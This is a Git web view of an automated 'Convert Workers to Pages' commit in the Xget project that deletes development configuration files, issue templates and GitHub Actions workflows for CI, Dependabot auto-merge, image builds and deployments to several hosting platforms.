1 Commits
Author SHA1 Message Date
github-actions[bot] a75b645f77 Convert Workers to Pages
Auto-converted from main branch commit 6e316f7ba6dc5540fbcd7ee263769140b5f391a7

Runtime files only (documentation, tests, and dev configs excluded).
2026-08-18 03:32:37 +00:00
94 changed files with 4 additions and 19320 deletions

No files matched your search

-49
View File
@@ -1,49 +0,0 @@
# Dependencies
node_modules/
npm-debug.log
# Build outputs
dist/
.wrangler/
wrangler-dist/
# Tests
test/
coverage/
*.test.js
# Documentation
*.md
docs/
.github/
# Git
.git/
.gitignore
.gitattributes
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# OS
.DS_Store
Thumbs.db
# CI/CD
.github/workflows/
# Config files not needed in build
.prettierrc
.prettierignore
.eslintrc*
tsconfig.json
vitest.config.js
# Misc
*.log
.env
.env.*
-13
View File
@@ -1,13 +0,0 @@
# http://editorconfig.org
root = true
[*]
indent_style = space
indent_size = 2
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true
[*.yml]
indent_style = space
-1
View File
@@ -1 +0,0 @@
* text=auto eol=lf
-2
View File
@@ -1,2 +0,0 @@
custom: https://xi-xu.me/#sponsorships
buy_me_a_coffee: xixu
-67
View File
@@ -1,67 +0,0 @@
name: Bug report
description: Report a reproducible problem in Xget
title: "[Bug]: "
labels:
- bug
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to report a bug.
Please search existing issues before filing a new one. If this is a security
vulnerability, do not continue here. Follow the private reporting instructions
in [SECURITY.md](https://github.com/xixu-me/Xget/blob/main/SECURITY.md).
- type: textarea
id: summary
attributes:
label: What happened?
description: Describe the problem and the actual behavior you observed.
placeholder: A request to /npm/... returns the wrong upstream path when...
validations:
required: true
- type: textarea
id: expected
attributes:
label: What did you expect to happen?
placeholder: The request should be rewritten to...
validations:
required: true
- type: dropdown
id: area
attributes:
label: Which area is affected?
options:
- Routing or path transformation
- Git protocol
- Docker or OCI registry support
- AI inference proxying
- Cache behavior
- Security headers or validation
- Deployment or adapter behavior
- Documentation
- Something else
validations:
required: true
- type: textarea
id: reproduction
attributes:
label: Steps to reproduce
description: Share a minimal reproduction with secrets removed.
placeholder: |
1. Send request to...
2. Use headers...
3. Observe...
validations:
required: true
- type: textarea
id: environment
attributes:
label: Environment
description: Include runtime, deployment target, client, and version details when relevant.
placeholder: Cloudflare Workers, local wrangler dev, curl 8.8.0, Node.js 24...
- type: textarea
id: additional
attributes:
label: Additional context
description: Logs, headers, screenshots, or links that help explain the issue.
-11
View File
@@ -1,11 +0,0 @@
blank_issues_enabled: false
contact_links:
- name: Read the README
url: https://github.com/xixu-me/Xget/blob/main/README.md
about: Check supported platforms, usage examples, and deployment options first.
- name: Contributing Guide
url: https://github.com/xixu-me/Xget/blob/main/CONTRIBUTING.md
about: Learn how to prepare a bug report or pull request.
- name: Maintainer contact page
url: https://xi-xu.me/#contact
about: Use a private contact path for sensitive or non-public matters.
@@ -1,46 +0,0 @@
name: Feature request
description: Propose an improvement or new capability for Xget
title: "[Feature]: "
labels:
- enhancement
body:
- type: markdown
attributes:
value: |
Thanks for sharing an idea.
Please keep requests focused and explain the user or maintainer value clearly.
For large changes, starting with an issue before implementation is strongly preferred.
- type: textarea
id: problem
attributes:
label: What problem are you trying to solve?
description: Describe the user need, operational pain point, or workflow gap.
placeholder: Users of platform X cannot...
validations:
required: true
- type: textarea
id: proposal
attributes:
label: What change would you like to see?
description: Describe the proposed behavior or feature.
placeholder: Add support for...
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives considered
description: Describe any workarounds or alternative approaches you evaluated.
- type: textarea
id: impact
attributes:
label: Why is this valuable?
description: Explain who benefits and why the change fits Xget's goals.
validations:
required: true
- type: textarea
id: additional
attributes:
label: Additional context
description: Add links, examples, or prior art if helpful.
-80
View File
@@ -1,80 +0,0 @@
version: 2
updates:
# GitHub Actions dependencies
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
time: "09:00"
open-pull-requests-limit: 5
commit-message:
prefix: "ci"
include: "scope"
labels:
- "dependencies"
- "github-actions"
groups:
docker-actions:
applies-to: version-updates
patterns:
- "docker/build-push-action"
- "docker/login-action"
- "docker/metadata-action"
- "docker/setup-buildx-action"
reviewers:
- "xixu-me"
assignees:
- "xixu-me"
# npm dependencies
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
time: "09:00"
open-pull-requests-limit: 5
commit-message:
prefix: "deps"
include: "scope"
labels:
- "dependencies"
- "npm"
groups:
cloudflare-dev:
applies-to: version-updates
patterns:
- "@cloudflare/vitest-pool-workers"
- "@cloudflare/workers-types"
- "wrangler"
linting:
applies-to: version-updates
patterns:
- "@eslint/js"
- "eslint"
- "eslint-*"
reviewers:
- "xixu-me"
assignees:
- "xixu-me"
versioning-strategy: increase
# Docker base images
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
time: "09:00"
open-pull-requests-limit: 5
commit-message:
prefix: "deps"
include: "scope"
labels:
- "dependencies"
- "docker"
reviewers:
- "xixu-me"
assignees:
- "xixu-me"
-23
View File
@@ -1,23 +0,0 @@
## Summary
- What does this change do?
- Why is it needed?
## Testing
- [ ] `npm run lint`
- [ ] `npm run format:check`
- [ ] `npm run test:run`
- [ ] `npm run type-check`
## Checklist
- [ ] I kept the change focused and avoided unrelated edits
- [ ] I added or updated tests when behavior changed
- [ ] I updated documentation when user-facing behavior changed
- [ ] I removed or redacted secrets, tokens, and private data from examples
## Notes for reviewers
- Related issue:
- Risk or rollout notes:
-146
View File
@@ -1,146 +0,0 @@
name: CI
on:
push:
branches:
- main
paths-ignore:
- "**.md"
- "LICENSE"
- ".gitignore"
- ".editorconfig"
- ".vscode/**"
- "docs/**"
- ".prettierrc*"
- ".eslintrc*"
- ".github/ISSUE_TEMPLATE/**"
- ".github/PULL_REQUEST_TEMPLATE/**"
pull_request:
branches:
- main
paths-ignore:
- "**.md"
- "LICENSE"
- ".gitignore"
- ".editorconfig"
- ".vscode/**"
- "docs/**"
- ".prettierrc*"
- ".eslintrc*"
- ".github/ISSUE_TEMPLATE/**"
- ".github/PULL_REQUEST_TEMPLATE/**"
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
lint:
name: Lint
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Checkout
uses: actions/checkout@v7
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "24"
cache: "npm"
- name: Install dependencies
run: npm ci
- name: Run ESLint
run: npm run lint
- name: Check formatting
run: npm run format:check
test:
name: Test and Coverage
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- name: Checkout
uses: actions/checkout@v7
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "24"
cache: "npm"
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm run test:run
env:
CI: true
- name: Generate coverage report
run: npm run test:coverage
env:
CI: true
- name: Normalize coverage paths for Codecov
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
run: |
python - <<'PY'
from pathlib import Path
path = Path("coverage/lcov.info")
lines = path.read_text(encoding="utf-8").splitlines()
normalized = []
for line in lines:
if line.startswith("SF:"):
normalized.append("SF:" + line[3:].replace("\\", "/"))
else:
normalized.append(line)
path.write_text("\n".join(normalized) + "\n", encoding="utf-8")
PY
- name: Show normalized coverage file entries
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
run: grep '^SF:' coverage/lcov.info | head
- name: Upload coverage to Codecov
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
uses: codecov/codecov-action@v7
with:
files: ./coverage/lcov.info
flags: unit
name: unit-coverage
disable_search: true
fail_ci_if_error: true
verbose: true
env:
CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
typecheck:
name: Type Check
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Checkout
uses: actions/checkout@v7
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "24"
cache: "npm"
- name: Install dependencies
run: npm ci
- name: Run type check
run: npm run type-check
-54
View File
@@ -1,54 +0,0 @@
name: Commit Lint
on:
push:
branches:
- main
pull_request:
branches:
- main
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
commitlint:
name: Validate Commit Messages
runs-on: ubuntu-latest
if: ${{ github.actor != 'dependabot[bot]' && !startsWith(github.head_ref, 'dependabot/') }}
timeout-minutes: 10
steps:
- name: Checkout
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "24"
cache: "npm"
- name: Install dependencies
run: npm ci
- name: Lint commit messages
shell: bash
run: |
if [[ "${{ github.event_name }}" == "pull_request" ]]; then
FROM="${{ github.event.pull_request.base.sha }}"
TO="${{ github.event.pull_request.head.sha }}"
else
FROM="${{ github.event.before }}"
TO="${{ github.sha }}"
fi
if [[ "$FROM" == "0000000000000000000000000000000000000000" ]]; then
npx commitlint --last --verbose
else
npx commitlint --from "$FROM" --to "$TO" --verbose
fi
-210
View File
@@ -1,210 +0,0 @@
name: Dependabot Auto Merge
on:
check_suite:
types: [completed]
workflow_run:
workflows:
- "Build and Push Image"
- "CI"
- "CodeQL"
- "Commit Lint"
- "Copilot"
- "Dependabot Updates"
- "Deploy to Cloudflare Pages"
- "Deploy to Cloudflare Workers"
- "Deploy to EdgeOne Pages"
- "Deploy to Vercel"
- "Sync to Pages and Functions"
types:
- completed
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.event.workflow_run.head_branch || github.run_id }}
cancel-in-progress: false
permissions:
contents: write
pull-requests: write
checks: read
statuses: read
jobs:
merge:
name: Auto-merge Dependabot PRs
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Merge Dependabot PRs when checks pass
uses: actions/github-script@v9
with:
script: |
const owner = context.repo.owner;
const repo = context.repo.repo;
const successfulCheckConclusions = new Set(["success", "skipped", "neutral"]);
const successfulStatusStates = new Set(["success"]);
const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const latestBy = (items, keyOf, timeOf) => {
const latest = new Map();
for (const item of items) {
const key = keyOf(item);
const itemTime = new Date(timeOf(item) || 0).getTime();
const existing = latest.get(key);
const existingTime = existing ? new Date(timeOf(existing) || 0).getTime() : -1;
if (!existing || itemTime >= existingTime) {
latest.set(key, item);
}
}
return [...latest.values()];
};
const findCandidatePulls = async () => {
const pulls = await github.paginate(github.rest.pulls.list, {
owner,
repo,
state: "open",
per_page: 100,
});
return pulls.filter((pr) => pr.user?.login === "dependabot[bot]");
};
const getMergeablePullRequest = async (pull_number) => {
for (let attempt = 1; attempt <= 6; attempt += 1) {
const { data: pr } = await github.rest.pulls.get({ owner, repo, pull_number });
if (pr.mergeable !== null) {
return pr;
}
core.info("PR #" + pull_number + " mergeability is still being computed; retry " + attempt + "/6.");
await wait(5000);
}
const { data: pr } = await github.rest.pulls.get({ owner, repo, pull_number });
return pr;
};
const getSignalState = async (sha) => {
const checkRuns = await github.paginate(github.rest.checks.listForRef, {
owner,
repo,
ref: sha,
per_page: 100,
});
const statuses = await github.paginate(github.rest.repos.listCommitStatusesForRef, {
owner,
repo,
ref: sha,
per_page: 100,
});
const latestChecks = latestBy(
checkRuns.filter((run) => run.name !== "Dependabot Auto Merge"),
(run) => (run.app?.slug || "unknown") + ":" + run.name,
(run) => run.completed_at || run.started_at || run.created_at,
);
const latestStatuses = latestBy(statuses, (status) => status.context, (status) => status.updated_at || status.created_at);
const pendingChecks = latestChecks.filter((run) => run.status !== "completed");
const failedChecks = latestChecks.filter(
(run) => run.status === "completed" && !successfulCheckConclusions.has(String(run.conclusion || "").toLowerCase()),
);
const failedStatuses = latestStatuses.filter((status) => !successfulStatusStates.has(String(status.state || "").toLowerCase()));
return {
totalSignals: latestChecks.length + latestStatuses.length,
pendingChecks,
failedChecks,
failedStatuses,
};
};
const { data: repository } = await github.rest.repos.get({ owner, repo });
const mergeMethods = [];
if (repository.allow_merge_commit) mergeMethods.push("merge");
if (repository.allow_squash_merge) mergeMethods.push("squash");
if (repository.allow_rebase_merge) mergeMethods.push("rebase");
if (mergeMethods.length === 0) {
core.info("This repository has no enabled pull request merge methods.");
return;
}
const pulls = await findCandidatePulls();
if (pulls.length === 0) {
core.info("No open Dependabot PRs to evaluate.");
return;
}
for (const candidate of pulls) {
const pull_number = candidate.number;
const pr = await getMergeablePullRequest(pull_number);
if (pr.user?.login !== "dependabot[bot]") {
core.info("PR #" + pull_number + " is no longer a Dependabot PR.");
continue;
}
if (pr.state !== "open" || pr.draft) {
core.info("PR #" + pull_number + " is not an open, ready PR.");
continue;
}
if (pr.mergeable !== true) {
core.info("PR #" + pull_number + " is not currently mergeable.");
continue;
}
const signalState = await getSignalState(pr.head.sha);
if (signalState.totalSignals === 0) {
core.info("PR #" + pull_number + " has no checks or statuses yet; skipping.");
continue;
}
if (signalState.pendingChecks.length > 0) {
core.info("PR #" + pull_number + " still has pending checks: " + signalState.pendingChecks.map((run) => run.name).join(", ") + ".");
continue;
}
if (signalState.failedChecks.length > 0 || signalState.failedStatuses.length > 0) {
const failedChecks = signalState.failedChecks.map((run) => run.name + "=" + run.conclusion).join(", ");
const failedStatuses = signalState.failedStatuses.map((status) => status.context + "=" + status.state).join(", ");
core.info("PR #" + pull_number + " is not green. Checks: " + (failedChecks || "none") + ". Statuses: " + (failedStatuses || "none") + ".");
continue;
}
let merged = false;
let lastError = null;
for (const merge_method of mergeMethods) {
try {
await github.rest.pulls.merge({ owner, repo, pull_number, merge_method });
core.info("Merged Dependabot PR #" + pull_number + " with " + merge_method + ".");
merged = true;
break;
} catch (error) {
lastError = error;
if (error.status === 403 || error.status === 405 || error.status === 409) {
core.info("Cannot merge PR #" + pull_number + " with " + merge_method + ": " + error.message);
continue;
}
throw error;
}
}
if (!merged) {
core.info("PR #" + pull_number + " could not be merged: " + (lastError?.message || "unknown error") + ".");
continue;
}
if (pr.head.repo?.full_name === owner + "/" + repo) {
try {
await github.rest.git.deleteRef({ owner, repo, ref: "heads/" + pr.head.ref });
core.info("Deleted branch " + pr.head.ref + ".");
} catch (error) {
core.info("Could not delete branch " + pr.head.ref + ": " + error.message);
}
}
}
-41
View File
@@ -1,41 +0,0 @@
name: Deploy to Netlify
on:
workflow_run:
workflows: ["Sync to Pages and Functions"]
types:
- completed
branches:
- main
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: false
jobs:
deploy:
runs-on: ubuntu-latest
timeout-minutes: 15
permissions:
contents: read
deployments: write
if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}
steps:
- name: Checkout functions branch
uses: actions/checkout@v7
with:
ref: functions
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "24"
cache: "npm"
- name: Install Netlify CLI
run: npm install --global netlify-cli@latest
- name: Deploy to Netlify
run: netlify deploy --prod --dir=. --auth=${{ secrets.NETLIFY_AUTH_TOKEN }} --site=${{ secrets.NETLIFY_SITE_ID }}
-50
View File
@@ -1,50 +0,0 @@
name: Deploy to Vercel
on:
workflow_run:
workflows: ["Sync to Pages and Functions"]
types:
- completed
branches:
- main
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: false
jobs:
deploy:
runs-on: ubuntu-latest
timeout-minutes: 15
permissions:
contents: read
deployments: write
if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}
env:
VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
steps:
- name: Checkout functions branch
uses: actions/checkout@v7
with:
ref: functions
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "24"
cache: "npm"
- name: Install Vercel CLI
run: npm install --global vercel@latest
- name: Pull Vercel Environment Information
run: vercel pull --yes --environment=production --token=${{ secrets.VERCEL_TOKEN }}
- name: Build Project Artifacts
run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}
- name: Deploy Project Artifacts to Vercel
run: vercel deploy --prebuilt --prod --token=${{ secrets.VERCEL_TOKEN }}
-84
View File
@@ -1,84 +0,0 @@
name: Build and Push Image
on:
workflow_run:
workflows: ["CI"]
types:
- completed
branches:
- main
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}
jobs:
build-and-push:
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:
contents: read
packages: write
id-token: write
attestations: write
if: >-
${{
github.event_name == 'workflow_dispatch' ||
(
github.event_name == 'workflow_run' &&
github.event.workflow_run.conclusion == 'success' &&
github.event.workflow_run.event == 'push' &&
github.event.workflow_run.head_branch == 'main' &&
github.event.workflow_run.head_repository.full_name == github.repository
)
}}
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Log in to GitHub Container Registry
uses: docker/login-action@v4
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract metadata (tags, labels) for Docker
id: meta
uses: docker/metadata-action@v6
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
tags: |
type=ref,event=branch
type=ref,event=pr
type=sha
type=raw,value=latest,enable={{is_default_branch}}
- name: Build and push Docker image
id: build-and-push
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
push: ${{ github.event_name != 'pull_request' }}
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: type=gha
cache-to: type=gha,mode=max
- name: Generate artifact attestation
if: github.event_name != 'pull_request'
uses: actions/attest-build-provenance@v4
with:
subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME}}
subject-digest: ${{ steps.build-and-push.outputs.digest }}
push-to-registry: true
-73
View File
@@ -1,73 +0,0 @@
name: Deploy to Cloudflare Pages
on:
workflow_run:
workflows: ["Sync to Pages and Functions"]
types:
- completed
branches:
- main
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: false
env:
WRANGLER_VERSION: "4.76.0"
jobs:
deploy:
runs-on: ubuntu-latest
timeout-minutes: 15
permissions:
contents: read
deployments: write
if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}
steps:
- name: Checkout pages branch
uses: actions/checkout@v7
with:
ref: pages
- name: Ensure Cloudflare Pages project exists
env:
CF_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}
CF_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
CF_PAGES_PROJECT: xget
CF_PRODUCTION_BRANCH: main
shell: bash
run: |
set -euo pipefail
api_base="https://api.cloudflare.com/client/v4/accounts/${CF_ACCOUNT_ID}/pages/projects"
auth_header="Authorization: Bearer ${CF_API_TOKEN}"
echo "Checking Pages project: ${CF_PAGES_PROJECT}"
if curl -fsS -H "${auth_header}" "${api_base}/${CF_PAGES_PROJECT}" >/dev/null; then
echo "Pages project exists."
exit 0
fi
echo "Pages project not found. Creating..."
create_payload="$(printf '{"name":"%s","production_branch":"%s"}' "${CF_PAGES_PROJECT}" "${CF_PRODUCTION_BRANCH}")"
curl -fsS -X POST -H "${auth_header}" -H "Content-Type: application/json" \
--data "${create_payload}" \
"${api_base}" >/dev/null
echo "Pages project created."
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "24"
- name: Install Wrangler CLI
run: npm install --global wrangler@${{ env.WRANGLER_VERSION }}
- name: Deploy to Cloudflare Pages
env:
CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}
CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
run: wrangler pages deploy . --project-name=xget --branch=${{ github.ref_name }}
-37
View File
@@ -1,37 +0,0 @@
name: Deploy to EdgeOne Pages
on:
workflow_run:
workflows: ["Sync to Pages and Functions"]
types:
- completed
branches:
- main
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: false
jobs:
deploy:
runs-on: ubuntu-latest
timeout-minutes: 15
permissions:
contents: read
deployments: write
if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && (github.event.workflow_run.event == 'push' || github.event.workflow_run.event == 'workflow_run' || github.event.workflow_run.event == 'workflow_dispatch') && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}
steps:
- name: Checkout pages branch
uses: actions/checkout@v7
with:
ref: pages
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "22.11.0"
- name: Deploy to EdgeOne Pages
run: npx edgeone pages deploy . -n xget6 -t ${{ secrets.EDGEONE_API_TOKEN }}
-179
View File
@@ -1,179 +0,0 @@
name: Sync to Pages and Functions
on:
workflow_run:
workflows: ["CI"]
types:
- completed
branches:
- main
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: false
jobs:
convert-and-sync-pages:
runs-on: ubuntu-latest
timeout-minutes: 15
permissions:
contents: write
if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}
steps:
- name: Checkout main branch
uses: actions/checkout@v7
with:
ref: main
fetch-depth: 0
- name: Configure Git
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
- name: Setup adapter files
run: |
mkdir -p /tmp/pages-conversion
cp -r adapters/pages/* /tmp/pages-conversion/
- name: Copy source code files
run: |
cp -r src /tmp/pages-conversion/
cp package.json /tmp/pages-conversion/
cp package-lock.json /tmp/pages-conversion/ 2>/dev/null || true
cp LICENSE /tmp/pages-conversion/
- name: Rewrite Pages adapter imports for converted layout
run: |
cd /tmp/pages-conversion
python3 - <<'PY'
from pathlib import Path
path = Path("functions/[[path]].js")
old = "../../../src/app/handle-request.js"
new = "../src/app/handle-request.js"
text = path.read_text(encoding="utf-8")
if old not in text:
raise SystemExit(f"expected import path not found in {path}")
path.write_text(text.replace(old, new), encoding="utf-8")
PY
- name: Update package.json for Pages
run: |
cd /tmp/pages-conversion
# Update deployment commands to use Pages
cat package.json | \
sed 's/"deploy": "wrangler deploy"/"deploy": "wrangler pages deploy ."/' | \
sed 's/"start": "wrangler dev"/"start": "wrangler pages dev ."/' \
> package.json.tmp && mv package.json.tmp package.json
- name: Initialize pages branch
run: |
cd /tmp/pages-conversion
git init
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git checkout -b pages
git add .
git commit -m "Convert Workers to Pages
Auto-converted from main branch commit ${{ github.sha }}
Runtime files only (documentation, tests, and dev configs excluded)."
- name: Force push to pages branch
run: |
cd /tmp/pages-conversion
git remote add origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git
git push -f origin pages
- name: Clean up
if: always()
run: |
rm -rf /tmp/pages-conversion
convert-and-sync-functions:
runs-on: ubuntu-latest
timeout-minutes: 15
permissions:
contents: write
if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}
steps:
- name: Checkout main branch
uses: actions/checkout@v7
with:
ref: main
fetch-depth: 0
- name: Configure Git
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
- name: Setup adapter files
run: |
mkdir -p /tmp/functions-conversion
# Copy all content from adapters/functions excluding package.json first
cp -r adapters/functions/* /tmp/functions-conversion/
# Copy the specific package.json for functions (overwriting if needed, but we do it later anyway)
- name: Copy source code files
run: |
# Copy only runtime-required files
cp -r src /tmp/functions-conversion/
# Note: We do NOT copy the root package.json here as we use the one from adapters/functions
cp package-lock.json /tmp/functions-conversion/ 2>/dev/null || true
cp LICENSE /tmp/functions-conversion/
- name: Rewrite Functions adapter imports for converted layout
run: |
cd /tmp/functions-conversion
python3 - <<'PY'
from pathlib import Path
replacements = {
Path("api/index.js"): (
"../../../src/app/handle-request.js",
"../src/app/handle-request.js",
),
Path("deno.js"): (
"../../src/app/handle-request.js",
"./src/app/handle-request.js",
),
}
for path, (old, new) in replacements.items():
text = path.read_text(encoding="utf-8")
if old not in text:
raise SystemExit(f"expected import path not found in {path}")
path.write_text(text.replace(old, new), encoding="utf-8")
PY
- name: Initialize functions branch
run: |
cd /tmp/functions-conversion
git init
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git checkout -b functions
git add .
git commit -m "Convert Workers to Functions
Auto-converted from main branch commit ${{ github.sha }}
Runtime files only (documentation, tests, and dev configs excluded)."
- name: Force push to functions branch
run: |
cd /tmp/functions-conversion
git remote add origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git
git push -f origin functions
- name: Clean up
if: always()
run: |
rm -rf /tmp/functions-conversion
-43
View File
@@ -1,43 +0,0 @@
name: Deploy to Cloudflare Workers
on:
workflow_run:
workflows: ["CI"]
types:
- completed
branches:
- main
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: false
env:
WRANGLER_VERSION: "4.76.0"
jobs:
deploy:
runs-on: ubuntu-latest
timeout-minutes: 15
permissions:
contents: read
deployments: write
if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}
steps:
- name: Checkout main branch
uses: actions/checkout@v7
- name: Setup Node.js
uses: actions/setup-node@v7
with:
node-version: "24"
- name: Install Wrangler CLI
run: npm install --global wrangler@${{ env.WRANGLER_VERSION }}
- name: Deploy to Cloudflare Workers
env:
CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}
CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
run: wrangler deploy
-172
View File
@@ -1,172 +0,0 @@
# Logs
logs
_.log
npm-debug.log_
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
.pnpm-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json
# Runtime data
pids
_.pid
_.seed
\*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
\*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# Snowpack dependency directory (https://snowpack.dev/)
web_modules/
# TypeScript cache
\*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Optional stylelint cache
.stylelintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
\*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variable files
.env
.env.development.local
.env.test.local
.env.production.local
.env.local
# parcel-bundler cache (https://parceljs.org/)
.cache
.parcel-cache
# Next.js build output
.next
out
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and not Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# vuepress v2.x temp and cache directory
.temp
.cache
# Docusaurus cache and generated files
.docusaurus
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
# Stores VSCode versions used for testing VSCode extensions
.vscode-test
# yarn v2
.yarn/cache
.yarn/unplugged
.yarn/build-state.yml
.yarn/install-state.gz
.pnp.\*
# wrangler project
.dev.vars
.wrangler/
-87
View File
@@ -1,87 +0,0 @@
# Dependencies
node_modules/
.pnp
.pnp.js
# Production builds
dist/
build/
# Environment files
.env
.env.local
.env.development.local
.env.test.local
.env.production.local
# Logs
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Coverage directory used by tools like istanbul
coverage/
*.lcov
# Dependency directories
node_modules/
jspm_packages/
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# parcel-bundler cache (https://parceljs.org/)
.cache
.parcel-cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Storybook build outputs
.out
.storybook-out
# Temporary folders
tmp/
temp/
# Editor directories and files
.vscode/
.idea/
*.swp
*.swo
*~
# OS generated files
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
Thumbs.db
# Wrangler
.wrangler/
# Git
.git/
# Lock files (optional - uncomment if you want to format them)
# package-lock.json
# yarn.lock
# pnpm-lock.yaml
-40
View File
@@ -1,40 +0,0 @@
{
"arrowParens": "avoid",
